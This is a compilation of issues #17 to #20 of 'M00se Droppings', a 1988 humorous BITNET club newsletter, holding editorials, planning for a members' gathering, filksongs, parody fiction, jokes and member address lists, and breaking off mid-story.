- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
<< And now, a quote from Bard. >>
`When in Danger or in Doubt
Run in Circles, Bl00p and Shout'
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*************** AND, OF COURSE, THE UBIQUITOUS M00SE LIST UPDATE ***************
--------------------------------------------------------------------------------
As previously stated, an updated list will be mailed after this issue.

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A-M00SE-ING ANECDOTES AND ILLUMINATION BY AND FOR THE PAWNS OF THE
M00SE ILLUMINATI
Issue #17| Disclaimer: The Editor will place almost anything | Oct. 15, 1988
---------- in this newsletter out of a frantic desire to fill ---------------
the issue, so don't blame him for the quality or content of the submissions.
Excepting those he may have written himself, the enclosed items do not in any
way represent the Editor's opinions. In fact, let's be real safe, and say that
as far as this newsletter is concerned, he has no opinions at all. Okay? Good.
================================================================================
--------------------------------------------------------------------------------
**************************** EDITORIALS AND LETTERS ****************************
--------------------------------------------------------------------------------
Greetings once again, fellow m00ses! First of all, I would like to
announce a wonderful and truly m00sey event: RED ROCK MUD PUDDLE is our 100th
chapter! This means we can begin discussing the Megathr0ng-a-thon that we've
been waiting for! See EVENTS for details...
I would like to suggest, once more, a way to get to know our fellow
m00ses. I made this suggestion over the summer, and only one person answered.
I would like to start at the top of the m00se list, and print a brief ID file
about a m00se each month. Your standard BITNET ID will do, though if it's
longer than 25-30 lines it should be cut down to there. This way, we'll learn
who we're associating with. Those of you who don't know what an ID file is
will get the idea pretty quick. Anyway, unless there is violent opposition to
this idea, I'm going to start it next issue. That means YOU, G00se, get the
honor of going first! If you don't want to, let me know ASAP and I'll move
down the list.
Also, election time is coming. I don't know about the rest of you, but I
refuse to vote for Bush or Dukakis. If any of you feel the same way, and were
planning on not voting, or on writing someone in, may I suggest you vote for
Ron Paul, the libertarian candidate? He stands no chance of winning, but if
enough people vote for him, maybe the percentage of the popular vote he gets
will say something about what we thought of the choices this year.
Lastly, some people have been asking about the new distribution via
LISTSERV. To clarify: You *do not* need to subscribe to the LISTSERV. The
Anachronist will simply send the server a list of all people to forward
droppings to each week, and it will take care of the rest.
Anyway, on with the issue....
--------------------------------------------------------------------------------
******************************* EVENTS AND NEWS ********************************
--------------------------------------------------------------------------------
It's time to start planning the Megathr0ng-a-thon! Here's what we need:
A place that can handle a large number of weird people. I don't know how many
m00ses will be able to make it, but I suspect it will be rather a lot. We're
not exactly swimming in moolah down here, so renting a convention center is out
of the question. It also looks like it will be a winter event, so camping is
probably out. If we hold it here in or near Hartford, I can provide a list of
hotels and rates for people, but I'd like to hear other suggestions first.
The other major consideration is when. If we hold it here, I'm going to
try to get it to coincide with Hartford's Winterfest, which should be lots of
fun (especially if there's snow on the ground!) MAYBE we could hold it during
winter break....
Anyway, let's start talking about this! Send discussion on this matter to
CSBB.M00SE, our CSNEWS discussion list, so that we can carry this on faster.
Those of you not subscribed, even those at the Wesleyan thr0ng who couldn't
sign up before, try again. Supposedly it has been fixed, so that off-BITNET
people can subscribe. Send the following command to CSNEWS@MAINE:
CSBB SUBSCRIBE M00SE CSNOTICE
I don't recall if this is supposed to go in the subject line or the main
text of a letter, so try putting it in both places to be safe. All important
discussion on this matter will be reprinted in M00se Droppings for those who
can't subscribe.
Until later,
Pickle.
--------------------------------------------------------------------------------
***************************** FICTION AND POETRY *******************************
--------------------------------------------------------------------------------
<< Although he hasn't an episode for us this week, CHAOS Engineer has plans. >>
Greetings gentle readers,
Although there is scheduled to be an episode of Superm00se this issue,
due the combination of writer's block and one and one-half tons of mindless
acadamia to deal with, it won't be ready till next week.
Also, M00se Wolverine of the Lansing thr0ng has requested a guest shot
in the upcoming episode. If there are any other m00ses out there who would
like a cameo appearance in a future episode of Superm00se contact me.
Coming next week, Superm00se joins forces with the League of Super
Veggies to battle the Velta Vermin(!!!)
CHAOS Engineer
(JBANKERT@SUNRISE.BITNET)
--------------------------------------------------------------------------------
*************************** MISCELLANEOUS NONSENSE *****************************
--------------------------------------------------------------------------------
A matter of much concern is upon us. You may recall that Sabre has
disappeared. Sabre is a member of the Boston U thr0ng, but he originally came
from the Maine thr0ng. Unofficial sightings abound, but we still don't know
where he is.
This week, the Maine thr0ng was all but wiped out. Rainmaker is all that
remains. According to the mainframe there, the rest of the m00ses' accounts do
not exist. Something is killing the m00ses. It begins in issue #17....where
will it end? We must do something about this. Anybody with information,
please help.
--------------------------------------------------------------------------------
*************** AND, OF COURSE, THE UBIQUITOUS M00SE LIST UPDATE ***************
--------------------------------------------------------------------------------
ADDITIONS
Boston University thr0ng ENLDC8C @ BUACCA Paladin
Buffalo thr0ng V123P62M @ UBVMSC Lorelei
V078QM32 @ UBVMSD F00nels
V083PBXV @ UBVMSD Sindar
V098PZJD @ UBVMSD Cardinal M00se
V101PYRW @ UBVMSD Villager M00se
V110JQ34 @ UBVMSD The Reverend M00ster
V133NNUW @ UBVMSD BigBadM00se
HABiT SH06078 @ UAFSYSB Sam Huntsman
Northeastern U. ACM_MDB @ NUHUB The_Sage
- - - - - - - - - - - - - - - - - - - -
REMOVALS
Maine thr0ng IO80034 @ MAINE The Dragon
- - - - - - - - - - - - - - - - - - - -
CHANGES
Villanova thr0ng: The Doctor is now using WATER @ VUVAXCOM
Wesleyan thr0ng: Damsel is now using AG @ WESLEYAN

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A-M00SE-ING ANECDOTES AND ILLUMINATION BY AND FOR THE PAWNS OF THE
M00SE ILLUMINATI
Issue #18| Disclaimer: The Editor will place almost anything | Nov. 20, 1988
---------- in this newsletter out of a frantic desire to fill ---------------
the issue, so don't blame him for the quality or content of the submissions.
Excepting those he may have written himself, the enclosed items do not in any
way represent the Editor's opinions. In fact, let's be real safe, and say that
as far as this newsletter is concerned, he has no opinions at all. Okay? Good.
================================================================================
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**************************** EDITORIALS AND LETTERS ****************************
--------------------------------------------------------------------------------
Welcome to Issue #18. A word of wisdom to you all: Do NOT spill apple
cider in your computer keyboard. It requires heavy cleaning.
It appears that the Anachronist's LISTSERV command works, from what
I hear you all received your copies of issue #17. It wasn't a month late,
incidentally; I marked the date wrong.
To lessen the load on BITNET, I am attempting to get a list at YALEVM
to take care of half the chapters; there is a possibility that Kamikaze
will be able to get one at Villanova as well. There won't be any major
changes, however; at most, a change in the list you receive your issues
from.
Without further ado, on with the issue.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
<< This letter from Mommydammit. >>
Bill,
Markus and I were driving north on highway 301, just north
of the Nice Bridge in Maryland... and we saw a M00se l0dge... is it
ours??? We bl00ped to it just in case!!!
Glad to see all the chapters adding up!
BL00P!
pamela/mommydammit
<< Mommydammit: I don't know. But best to bl00p just in case. --Bill >>
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******************************* EVENTS AND NEWS ********************************
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<< Reprinted from CSBB.M00se, for those of you not subscribed. >>
Fellow M00sers:
It has come to my attention that there are not enough m00se thr0ng-a-
th0ns, due to the locale of many of the m00se chapters, and the funds
accessable to the conspiracy group. So, I would like to enter a proposal for a
m00se throng-a-thon here in Fayetteville, Arkansas, or any surrounding area in
Ark, OK, or TX for the Christmas holidays. It is expected that all the
followers of the UAFSYSB HABiT thr0ng (which can be a lot at times) will
attend, or as many as we can send. I hope that this is somehow accepted by some
of the chapters around the surrounding area, and that we can get this thing off
the ground. If not, Oh Well, I guess we will just have to have the usual
Christmas. Here in Arkansas, we have a lot of things to offer.
M00seMan
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***************************** FICTION AND POETRY *******************************
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<< This from Dave T. Dead. >>
Heard this on Dr Demento...
Dem M00se Goosers.
How 'bout dem m00se goosers ain't they cloose?
Up in dem boondocks goosen' dem M00se,
Goosen' dem HUGE m00se,
Goosen' dem tiny,
Goosen' dem middly m00se in dey heinie,
How 'bout dem M00se goosers ain't dey Dum'?
Some use an umbrella,
Some use a thumb,
Dem obtoose M00se goosers sneeken' through the woods,
Pokin' dem snoozy M00se in dey goods!
How to be a M00se gooser?
It'll turn ya puce!
Get yer gooser loose and rouse a droozy M00se!!
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*************************** MISCELLANEOUS NONSENSE *****************************
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<< More Beez Babble >>
I think we should make it a law that we remain M00ses and never change to
something like Buffal0s. I know this sounds unimportant, but with the
rising p0wer of the Superthrong, it may be dangerous!
As of yet there are is only one other member of the Suave ladies men in
dry clothing and I haven't heard from her in months. This trend towards
men being wet and macho scares me since it was Manly men in wet clothing
which brought about such things as: the Reagan Administration, New York
Yankees, The Bay City Rollers and sweat.
Are you aware of the song by Queen called M00setafa? Its on the Jazz album
and is required listening.
Just remember what Nietchze (sp!) said about Love:
Love is riding through the Siberian tundra and having
your snowmobile tip over. At night the ice weasels come.
Which again reminds me that the big thing in my Bud House now is ice weasels.
They are cousins of Otter Pops except they don't come in various tasty flavors.
Not that this is really funny, but if something humorous does occur or I happen
to mention ice weasels over and over again, you know why.
As usual, anything I say can be distorted and/or published as you see fit since
if you didn't do it, the sys progs who read everyones mail because they work for
big brother would read it (I know sucky sentence structure!) and would use it
against me in case I ran from President (not for, but from). Blah blah blah.
Tag! You are it!
Beez of the Crumpled face variety
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*************** AND, OF COURSE, THE UBIQUITOUS M00SE LIST UPDATE ***************
--------------------------------------------------------------------------------
PLEASE ADD
Buffalo thr0ng V122QQVZ @ UBVMSD Sweeper M00se
IN%"JJZ @ S.CC.PURDUE.EDU"
ChickenM00se
HABiT DB06103 @ UAFSYSB David Boddie
Old Dominion University thr0ng LBS100S @ ODUVM (nick unknown)
Portland thr0ng IP60591 @ PORTLAND Centauri
Stony Brook thr0ng JROSENSH @ SBCCVM Joanne Rosenshein
SUNY at Brockport thr0ng DS1437 @ BROCK1P Don Schleede
MW2440 @ BROCK1P Mark Weiland
Villanova thr0ng 59401463 @ VUVAXCOM Starscream
- - - - - - - - - - - - - - - - - - - -
CHANGE
from: V050NRGD @ UBVMSA JetStar
to: V054NN84 @ UBVMSA Foto (AKA PacifistM00se)
rom: VY8630 @ BINGVAXA Red Rock Mud Puddle
to: FR0250 @ BINGVMA

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A-M00SE-ING ANECDOTES AND ILLUMINATION BY AND FOR THE PAWNS OF THE
M00SE ILLUMINATI
Issue #19| Disclaimer: The Editor will place almost anything | Nov. 28, 1988
---------- in this newsletter out of a frantic desire to fill ---------------
the issue, so don't blame him for the quality or content of the submissions.
Excepting those he may have written himself, the enclosed items do not in any
way represent the Editor's opinions. In fact, let's be real safe, and say that
as far as this newsletter is concerned, he has no opinions at all. Okay? Good.
================================================================================
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**************************** EDITORIALS AND LETTERS ****************************
--------------------------------------------------------------------------------
Hello all! Bl00p! Welcome to Issue #19. There is much discussion of the
coming MegaThr0ng-a-thon in this issue; it being important, I suggest you read
it and get back to me or the csbb.m00se discussion.
Also, the list owner at Yale turned down my request to use his listserv
for Droppings distribution, so we're still working from one listserv only. If
anyone can get a list elsewhere, please do! We need to spread this thing out a
little.
Lastly, the listserv does not like off-bitnet addresses. The only
off-bitnet chapter it can send to is Larry at B.U. So would those of you near
the other other-network chapters please continue to forward mail to them.
Hmm. That's it for this editorial. On with the issue!
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
<< A note from Jonathan >>
BTW: could you put a query in M00se Droppings about how many M00ses are on the
internet, and how many of them would like to expand operations to there?
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******************************* EVENTS AND NEWS ********************************
--------------------------------------------------------------------------------
<< There has been much discussion about the MegaThr0ng-a-thon on the M00se
discussion list on CSNEWS. For those of you who are not subscribed, and
for those of you who have forgotten what's been said, a recap of the
highlights. >>
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
On this Mega-Thr0ng-a-thon...
I was recently in a Thr0ng of chapters from the Buffalo SUPER THR0NG,
(about 6 of us), and one of the m00ses sugeested holding either THE M-T-a-T, or
at least *A* M-T-a-T here in Buffalo, as we have almost 20 chapters right here.
What say? Anyone interested?
DangerM00se
Pat
et. al.
:^>
- - - - - - - - - - - - - - - - - - - -
Hey! Help!
What about us lower-in-the-corner-on-in-the-out-of-the-way people? There are a
lot of m00se fans here, a lot that don't have id's that would like to
participate in this M-T-a-T. I just cant lift off and fly to Buffalo. I know
there are a lot of chapters there, but I think you could get a better
participation if you hold it closer to the middle of the US. Like Indiana for
instance. You could get all us Southerners (AR,OK,TX,MO) ppl along with
yourselves. I think the event is cool and everything, but I think we should
pick a spot that will have more participation than Buffalo.
M00seMan
- - - - - - - - - - - - - - - - - - - -
C'mon David, what about us in the north and west? The Alaska thr0ng? We've
pretty much resigned ourselves to not going, because even if you guys held it
in Seattle, it would still cost us a grand to get there and back.
Jonathan Clemens
- - - - - - - - - - - - - - - - - - - -
Right on, I mean, what *true* m00se is going to want to trek *all the way to
CT*? And when we all get there? Have you people looked at a map lately? CT is
small...we'd never fit all the chapters in the state without destroying it in
the process. So, I propose we hold the Thr0ng-a-Thon in a nice, big state with
plently of wide open spaces. It's winter, the farmers aren't using their wheat
fields for anything, we can just move in and take over. Just think, Washington
State's Whitman County (the proposed site) is probably bigger than the *entire*
state of CT, and Washington has *plently* of counties to chose from.
So, what do you say? Give chilly Pullman, Wa a try, it's not quite the last
place on Earth, but darn close!
BardM00se
- - - - - - - - - - - - - - - - - - - -
Greetings all,
CT might be small...It might be only a two hour drive from one end to the other
but..but Washington is dullsville USA ( ;^) sorry bard )...
We of the Central CT State U thr0ng support our state..( 'Oh connecticut ...
(break into song..) our lovely sewer pit..)
Connecticut: If you can't spell it FAKE IT!
Bigger isn't nessarily better..
Its not the size that counts..
Vegi-m00se..(sometime goblin)
Salmon m00se..(sometimes awake)
( President skippy? )
- - - - - - - - - - - - - - - - - - - -
Reasons to have it in Buffal0:
1) Largest thr0ng in the world is in Buffal0
2) It's not in the east, not in the south, and not in Alaska.
3) It's near canada
4) I have a m00se(made by Gund)
5) I said so!
6) I'm too poor to travel south
7) I'm too tired to find Connecticut
8) I'm employed and can't leave my job to go Bl00p!(unreasonable of them, isn't
it?)
9) It's near Niagara Falls
10) It's near my house(this is NOT an invitation to use my house!!!!!!)
11) It's near sibericuse
12) It's near Lake Erie and Lake Ontario
13) Most of you have never been to Buffal0
14) If the buffal0 thr0ng fails to attend, 1/5 of all m00ses wouldn't make it.
15) It's cheaper than going to Alaska.
That concludes my list of 15 reasons to have it here.
Well, I hope you all have a m00sey day.....Bl00p!
aloha.
Valerie. :)
whose name doesn't lend itself
to anything m00sey.
- - - - - - - - - - - - - - - - - - - -
I have a solution. How about all m00ses having their own parties,
inviting those chapters and thr0ngs in the area to a common place, and hold all
these thr0ng-a-thons at the same moment, maybe even sending out updates via
this very conference to all m00ses nationwide? That way, no one place has to
be picked. Sort of like a major national m00se convention day, eh? We just
have to pick a time and date, that way!
hciR the inbl00pable...
- - - - - - - - - - - - - - - - - - - -
Like Thr0ng-a-th0n day idea. Maybe the day Bush is sworn in, to add to the
confusion...?? Seems to be the best compromise among the much divided m00ses.
Din0m00se
- - - - - - - - - - - - - - - - - - - -
I like the idea of simultaneous M00se-a-th0ns in varying parts of the
country. Obviously a single location is going to be inaccessible to many, if
not most m00ses. In addition to the possibility of phone communications
between the gatherings, may I suggest that one m00se at each Thr0nging place be
appointed official PhotoM00se? The idea would be for everyone at each
Thr0ng-a-th0n to chip in to cover the costs of film and processing; then the
prints could be snail-mailed around to all the m00se chapters, preferably with
the photos labeled.
Another possibility for a Grand Thr0ng-a-th0n would be to hold it in
conjunction with the annual bizarreness known as NetCon(tm). No, I don't know
yet where next May's edition of NetCon(tm) will be held, but I suspect it will
be somewhere on the east coast.
Niniane
- - - - - - - - - - - - - - - - - - - -
<< In response to the above.. >>
Hey, that sounds like a great idea! One question, though... Would people
want colour photos or black & white? Some of the advantages of B&W are:
1) If any m00ses have the facilities, prints could be developed
cheaper than sending them away. (Many schools have darkrooms
which students can use.)
2) We could make the prints bigger, (say, 8x10,) and make duplicates
of only the ones we want to send out.
- SalmonM00se
(Godfrey)
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
<< Well, there you have it. Personally, I support the many thr0ng-a-thons at
once idea, and I think the photos are an excellent idea. However, the cost
of 130 or so copies of as many sets of pictures as there are parties would be
prohibitive, so I suggest that only a large group shot of each thr0ng-a-thon
be distributed to all the m00ses. If anybody wants more pictures than that,
they can send money to the photographer. That way, each party can buy the
film, and each chapter can put in enough money for one large print from each
thr0ng-a-thon.
All that remains, then, unless there is strong objection to this idea, is
to arrange a time and date for the parties. Since we want them to happen at
the same time, of course, we must account for time zones. We shall continue
this discussion on CSBB.M00se. >>
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***************************** FICTION AND POETRY *******************************
--------------------------------------------------------------------------------
<< A filksong by three employees of Steve Jackson Games; honorary m00ses all.
A song not about the M00se Illuminati in particular, but about all such
organizations. >>
ILLUMINATI
(to the tune of "Eleanor Rigby")
Steve Jackson, Joe Vail, Creede Lambard
Illuminati . . .
They put a thing made of tinfoil on top of my door . . .
What is it for?
Illuminati . . .
Shooting a ray at my cornflakes to make them turn green . . .
What does it mean?
The Illuminati . . . They're watching me, I know.
The Illuminati . . . They're everywhere I go.
Illuminati . . .
Doing unspeakable things in the night to a cow . . .
Where are they now?
Illuminati . . .
Sent an impostor in place of the Popsicle man . . .
What is their plan?
The Illuminati . . . They're watching me, I know.
The Illuminati . . . They're everywhere I go.
Illuminati . . .
They cancelled Star Trek, The Fonz, and My Mother, the Car . . .
Are they bizarre?
You can't escape them;
Even if you take a plane to Nepal or Peru . . .
They'll be there, too . . .
The Illuminati . . . They're watching me, I know.
The Illuminati . . . They're everywhere I go.
I know that they know all about me . . .
They know that I know all about them . . .
Illuminati . . .
Hide their assassins' instructions in newspaper text . . .
Who will be next?
They're all around us . . .
Underline every third word in the Times and you'll see . . .
How can it be?
The Illuminati . . . They're watching me, I know.
The Illuminati . . . They're everywhere I go.
They're in the attic and the cellar . . .
Bigger than Hunt or Rockefeller . . .
Illuminati . . .
Go through my garbage and count all the pop bottles there . . .
Why do they care?
They're out to get me . . .
They're fluoridating my water from their UFO . . .
What do they know?
The Illuminati . . . They're everywhere, I see.
The Illuminati . . . And no one knows but me.
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*************************** MISCELLANEOUS NONSENSE *****************************
--------------------------------------------------------------------------------
<< A suggestion from GypsyLynx >>
Why can't we have a M00se Day? I mean, really -- isn't it more than a
little ridiculous to have a day for Turkeys and not for the majestic m00se??
Let's hear it for staring our own M00se day and turning it into a national
holiday? (and there will be much rejoicing)
Bl00p!!
More later....
GypsyLynx
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
<< From Mr. Sparebuttonssuppliedwithhisshirt, a new feature! >>
It has come to my attention span (albeit short) that our fine newletter lacks
that which makes any and all newspapers worthwhile...a comic section.
It is for this reason that I send this, my first ever comic approach on a
computer.
M00SET00NS
|-----------------------------------------|
| |
| |
| O |
| '|' ________ |
| < \ / \____ |
| | | |
| --O--------O---| |
| |--XO |
| |
| |
------------------------------------------|
M00setakes # 1...how not to perform a hit-n-run...
Thank you...
Mr. S.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
<< Interesting stuff from Din0m00se >>
Has anyone noticed there's an 'airheads' club on UMNews?? They exist solely to
make their club larger. THEY HAVE NO PURPOSE!! THEY DON'T EVEN HAVE A
PORPIOSE!!
WE at least stand for something, and I for one plan to give them a piece of my
mind (and a little of Proust's spittle, perhaps)!! Let's start a mail wars, by
submitting like crazy to AIRHEADS DIGEST c/o CSNEWS@MAINE. Just put '/append
airheads' as the first words in your posting.
I have inducted a few more m00ses lately, but forgot their names. Just want
you to know the Trinity thr0ng is growing... (and another reason to have one of
the parties here in CT...)
Din0m00se
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
<< M00se Sightings Continue >>
This reporter has just seen photographic evidence that there is an
unrecorded m00se chapter wandering the wilds of Newfoundland. What can we do
to bring this poor soul out of the wilderness into the bizarreness of m00sedom?
Niniane
- - - - - - - - - - - - - - - - - - - -
Unconfirmed Scamp sighting!!!!.....Alacrity and GypsyLynx are still not sure if
their eyes were playing tricks on them, or if it was actually Scamp logged on
in the SU Aid center Tuesday night. The witnesses in question state that she
was buried in over 200 mail messages that had piled up in the 3 weeks that she
has not been logged on.
GypsyLynx
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*************** AND, OF COURSE, THE UBIQUITOUS M00SE LIST UPDATE ***************
--------------------------------------------------------------------------------
ADD:
Alaska thr0ng FSDEM2 @ ALASKA Mugwump
Loyola thr0ng FRANK @ LOYVAX Spank
Siberacuse thr0ng DPFLINT @ SUNRISE Sandman
University of Missouri chapter C482529 @ UMCVMB Count_Zero
- - - - - - - - - - - - - - - - - - - -
CHANGE:
from: HABiT DB06103 @ UAFSYSB David Boddie
to: HABiT DB06103 @ UAFSYSB M00se Man
from: KEVIN @ LOYVAX Kev
to: KEVIN @ LOYVAX Mr. Sparebuttonssuppliedwithhisshirt

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A-M00SE-ING ANECDOTES AND ILLUMINATION BY AND FOR THE PAWNS OF THE
M00SE ILLUMINATI
Issue #20| Disclaimer: The Editor will place almost anything | Dec. 9, 1988
---------- in this newsletter out of a frantic desire to fill ---------------
the issue, so don't blame him for the quality or content of the submissions.
Excepting those he may have written himself, the enclosed items do not in any
way represent the Editor's opinions. In fact, let's be real safe, and say that
as far as this newsletter is concerned, he has no opinions at all. Okay? Good.
================================================================================
--------------------------------------------------------------------------------
**************************** EDITORIALS AND LETTERS ****************************
--------------------------------------------------------------------------------
Greetings. Due to the hugeness of the issue, there will be no editorial.
Sorry it took so long. There are a couple items that will be held till
next issue, due to size.
This issue will be followed by a complete Chapter list.
--------------------------------------------------------------------------------
******************************* EVENTS AND NEWS ********************************
--------------------------------------------------------------------------------
<< Two letters, one of them in response to the multi-thr0ng-a-thon
Megathr0ng-a-thon idea. >>
This idea can stick. I like it. Ok, where are all the mid/south m00ses, huh?
Or is this the only throng in the south/mid area? where are the folks from
IN, ILL, TX, AR, LO, KT, and other surrounding areas huh? Let me know, and
we can decide on a place for the M-T-a-T Middle-United-States-Housing
(that's MUSH). I would be willing to say, have it here in Fayetteville, but
a lot of m00ses might not be able to make it. Plus I am a poor M00se, and
dont own a house or anything like that here. Anyway, let's talk MUSH ppl.
M00seMan
- - - - - - - - - - - - - - - - - - - -
Greetings earthm00ses.
I have pondered the future m-t-a-t and have come up with 2 reasons to have
it in the Andromeda galaxy, convenience,proximity, and ease- 3! 3 reasons
to have it in the Andromeda galaxy: convenience, proximity, ease and
we all have spaceships- 4! 4 reasons to have it in the Andromeda galaxy,
(specifically the twenty-third planet from the star, specifically in the little
village of Myrsxxxphildweeeeblebl00p...nice little town with a few alien
m00ses whose antlers are fourty feet long...oh dear, I seem to have strayed
from the main subject...) 4 reasons to have it in the Andromeda galaxy:
convenience, proximity, ease, we all have spaceships and it's nice-oh
damn...
Well, you get my point.
A very confused and whacked out Mr. S.
- - - - - - - - - - - - - - - - - - - -
I do hereby propose the last weekend in January for the MTAT. Any
support or objections?
Pickle.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
<< From Mitsya, the Red M00se. >>
Over thanxgiving vacation, a m00se was killed in the town of Wiscasset,
ME. It was apparently a hit and run accident, and there was an immediate
funeral and burial, so the identity of this particular m00se remains in
question. If there is a m00se whom you know, and was anywhere *near* the
Wiscasset area, and is now missing, please contact me (ip85033) This cannot be
tolerated. Spaceebaw bolshoi.
--------------------------------------------------------------------------------
***************************** FICTION AND POETRY *******************************
--------------------------------------------------------------------------------
<< Here we have a not-original filksong of sorts, which I found on a listserv
the day after the election. I'm including it because I want to. >>
Yesterday
George Bush seemed so far away
Now it looks as though he's here to stay
Oh, I believe in yesterday
Suddenly
There's not half the choice there used to be
There's a shadow hanging over me
Oh, yesterday came suddenly
Why
He
Had to run
I don't know
He wouldn't say
He's
Got
Most things wrong
Now I long
For yesterday
Yesterday
War was just an easy game to play
Help me find a place to hide away
Oh, I believe in yesterday
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
<< Two of our most productive contributors this issue are Goblin_m00se and
Salmon M00se. This might, perhaps, fit better under EVENTS, but due to
the way it was written, I figured "what the hell?" >>
ADVENTURES IN THE 11TH CENTURY
or
WHEN GUMBY WENT TO WAR
(From the Files of M00selock Holmes)
It was a dark and stormy night... raining cats and dogs, London-style. The
night of 21 October, 1988, to be exact. I followed a m00se's vehicle through
the sheets of rain, to a large brown-and-white house somewhere in Connecticut.
With a great roar, the yellow Toyota came to a stop.
Its owner, grabbing a tape out of the glove compartment, cursed as he
stepped into a large puddle. He ran up to the front door, peered in the side
window. Seeing no lights, he vaulted back down the front stairs and ran around
to the side of the house. There was a light on in the cellar, and several
above ground level. He must have realized his actions looked suspicious,
because he ran back to the front porch and rang the doorbell.
Generally, when people ring doorbells at 11:30 PM, a house's owner answers
the door with a shotgun. Not this time, though. The m00se was let into the
house. I crept up to the newly-lighted window and tried to peer beneath the
window shade, in the 2-millimetre gap between it and the window frame. Wats0n
sneezed, and I shoved my pipe up his nose, to prevent further noises. I turned
back to my vigil.
Inside were four m00ses: Fuzzy, Snarf, SalmonM00se, and Goblin_m00se.
Attaching my suction-cup stethoscope to the window-glass, I sat back on
Wats0n's hunched-over form and listened.
The tape played; at first I thought it was a Beach Boys' song, but its
lyrics had something to do with a Soviet sub grounded in Malibu. Odd, these
four were. They talked quite a bit, their conversation centering on mead,
Scotch-guard, and Lazer Tag. Eventually, around 3:30 AM, they went to sleep.
Some of the more interesting snatches of conversation involved removing
Goblin_m00se's clothes and taking pictures while she slept...
<->-<->-<->-<->-<->
It was a dark and stormy morning. Two people left; SalmonM00se, as I
could identify him now, and the female non-m00se after him. The rain
continued, pouring like dead cats. (I have nothing against cats, mind you, as
long as they're stuffed.) I kicked Wats0n's sleeping form and told him to
climb up to the third-floor window and see what was going on. He fell off the
side of the house, and I left him stuck head-first in the mud. I had more
important things to do. I climbed to the bedroom window.
Goblin_m00se was curled up in bed, pillows everywhere. One m00se, Fuzzy,
stuck his head in, wondering if she was going to sleep forever. Goblin_m00se
finally staggered out of bed, looking like the living dead, then began dressing
in tenth-century clothes. I cursed Wats0n for not buying more film.
Eventually, with two others, they climbed into a Mercury Marquis and sped
off. I tossed Wats0n into my orange Isuzu and pulled out after them. Finally
catching up to them on the motorway, I was hard-pressed to keep up with them.
Their velocity was increasing rapidly, as was mine. I saw, from the corner of
my eye, a hidden police car. As we passed, the radar, which was pointed lazily
out the window, exploded. I had no time to contemplate this happenstance, as
we went to PLAID.
During the ride through hyperspace, Goblin_m00se's automobile
metamorphosed into a maroon dragon. My own vehicle, I am sad to note, could
muster no more than a brightly-coloured iguana. It sufficed, however. We were
at our destination.
We were in a large, rutted field. The dragon was becoming mired in the
soggy ground, and several people ran towards it. "Oh dear," I thought,
"They're going to kill Goblin_m00se." I hopped off of my iguana and hid. After
a second thought, I grabbed Wats0n down from the iguana and pulled him to my
hiding place.
The people were more benevolent than I thought; they merely helped the
dragon to an empty space. Its four riders piled off and walked to a table
marked TROLL BOOTH. There were four: Goblin_m00se, Fuzzy, and two others, one
of them a monk. The monk looked faintly m00sey, but I couldn't tell from that
distance. They paid some gold to the troll, and walked past.
Not much happened for a while, except that they met up with SalmonM00se
and a female M00se whose name I didn't know. I'll have to refer to her
anonym00sely.
The entire field was full of mediaeval people. I checked my watch; it
read "SOMEWHERE BETWEEN AD 600 AND AD 1650". Well, that's Japanese technology
for you.
The m00ses eventually entered a large barn, with the rest of the
middle-aged people. (Well, most of them were fairly young.) I watched as His
Immensity, the Baron Beyond the Mountain, held court. Immediately following,
the King of the East held court. My head fairly split from the volume of the
"VIVAT! VIVAT! VIVAT!" cries that followed every award.
After that, there was a four-hour Bardic circle, where a couple of the
m00ses sang songs, or told tales. Eventually they wandered off somewhere to
sleep.
The next day, only a few items of interest happened:
1) Fuzzy and SalmonM00se fenced for a while.
2) SalmonM00se almost shot the King and Queen (Bow & arrow)
3) Goblin_m00se and SalmonM00se took instruction from a knight
named Sir Andrea. They practiced until well after dark.
(Goblin_m00se looks extremely sexy when she swings a sword.)
After that, they went back to the modern world, stopping at a supermarket
without changing their clothes. This elicited many stares. None of them cared.
As I left the house, Wats0n chanced upon a small bag of herbs that I had
bought while in the Middle Ages. He looked into it, and said, "Holmes,
whatever could you be doing with this?
I replied, "Elementary, my dear Wats0n... I'm biding my thyme!"
- copied from M00selock's files by
SalmonM00se & Vegi-M00se
Postscriptum: A very m00sey thing to do is to watch Black Adder on Public
Television. (Especially Blackadder II.) Watch for the
episode with the turnip thingy. COMING SOON: Goblin_m00se
and Salmon-M00se are thinking of transcribing the scripts
of Blackadder II... Requests may be sent to the following
accounts:
LEE_JES@CTSTATEU (BITNet)
WITHALL@CTSTATEU (BITNet)
Users from off-BITNet domains (such as EDU) may send to:
LEE_JES%CTSTATEU.BITNET@CUNYVM.CUNY.EDU
WITHALL%CTSTATEU.BITNET@CUNYVM.CUNY.EDU
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
<< Here we have a story typed in and contributed (though not written) by
Valerie. :) whose name doesn't lend itself to anything m00sey. >>
GOING THE M00SE WAY HOME
by Jim Lattimer
(Excerpts selected by myself.)
"M00se is tall, a hill on hoofs and thin stork legs. He has bony
shoulders, long ears, soft eyes, a mobile muzzle, and a beard."
(Gee....I never knew we looked like that...and I
suppose I ought to do something about my beard then....)
"On his way home, m00se sometimes stands beside the county road to watch
for license plates, though he does not know how to read. Once he saw Iowa,
Wisconsin, and Rhode Island; He sees a lot of Minnesotas, because he lives in
Minnesota and sometimes M00sechusetts (his spelling!!!!)"
(Gee....I never knew we were illiterate...yet could read
those license plates!!)
THE M00SE AND THE TROLL
"M00se said simply, "I'm a m00se."
A m00se, thought the troll. Like a *Buffalo*, he thought, feeling
suddenly hungry. The troll came out to look, and there was m00se, a hill on
quiet hoofs, seven feet tall and eleven hundred pounds.
The troll hesitated. He fidgeted, muttering to himself. 'I do not feel
hungry for a m00se,' he said at last."
CHRISTMAS AND THE COWS
or is it
M00semas and the cows
or
ChristM00se and the cows
???????????
"On Christmas morning m00se passed a snowy field along the county road. He
